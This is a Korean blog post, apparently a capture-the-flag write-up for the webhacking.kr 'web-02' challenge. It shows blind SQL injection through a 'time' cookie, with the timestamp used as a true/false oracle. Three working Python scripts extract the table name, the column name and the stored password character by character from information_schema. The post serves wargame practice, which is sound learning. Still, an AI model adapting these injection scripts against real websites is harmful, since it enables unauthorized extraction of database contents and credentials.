728x90
우클릭 해서 페이지 소스보기를 클릭하면 소스코드가 나온다.
현재 시간이 나오고, 쿠키를 보면 time이름의 쿠키에 unix 시간이 있다.
EditThisCookie를 이용하여 time 값에 0을 넣으면 2070-01-01 09:00:00, 1을 넣으면 2070-01-01 09:00:01이 된다. 초에 반영되는 것을 알 수 있다. 이를 바탕으로 Blind SQL Injection이 가능하다.
1. table 개수(2)
<!--
2070-01-01 09:00:02
-->
2. table 명 길이(13)
첫 번째 table 명의 길이를 찾는다. (사실 첫 번째 table에 답이 있다.)
<!--
2070-01-01 09:00:13
-->
3. table 명(admin_area_pw)
import requests
url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'
def find_tb_name():
tmp=''
for i in range(1,27):
for j in HEX:
cookie={"time":"(substr(hex((select table_name from information_schema.tables where table_schema=database() limit 0,1)),{},1)='{}')".format(i,j)}
r=requests.get(url,cookies=cookie)
if true_phrase in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_tb_name()
4. column 개수(1)
<!--
2070-01-01 09:00:01
-->
5. column 명 길이(2)
<!--
2070-01-01 09:00:02
-->
6. column 명(pw)
import requests
url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'
def find_col_name():
tmp=''
for i in range(1,5):
for j in HEX:
cookie={"time":"(substr(hex((select column_name from information_schema.columns where table_name='admin_area_pw')),{},1)='{}')".format(i,j)}
r=requests.get(url,cookies=cookie)
if true_phrase in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_col_name()
7. 데이터 개수(1)
<!--
2070-01-01 09:00:01
-->
8. 데이터 길이(17)
<!--
2070-01-01 09:00:17
-->
9. 데이터(kudos_to_beistlab)
import requests
url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'
def find_data():
tmp=''
for i in range(1,35):
for j in HEX:
cookie={"time":"(substr(hex((select pw from admin_area_pw)),{},1)='{}')".format(i,j)}
r=requests.get(url,cookies=cookie)
if true_phrase in r.text:
tmp+=j
if len(tmp)==2:
print(chr(int(tmp,16)),end="")
tmp=''
break
find_data()
728x90
'webhacking.kr' 카테고리의 다른 글
old-04 (0) | 2023.02.18 |
---|---|
old-03 (0) | 2023.02.17 |
old-01 (0) | 2023.02.06 |
webhacking 33 (2) | 2022.12.22 |
webhacking 32 (0) | 2022.12.21 |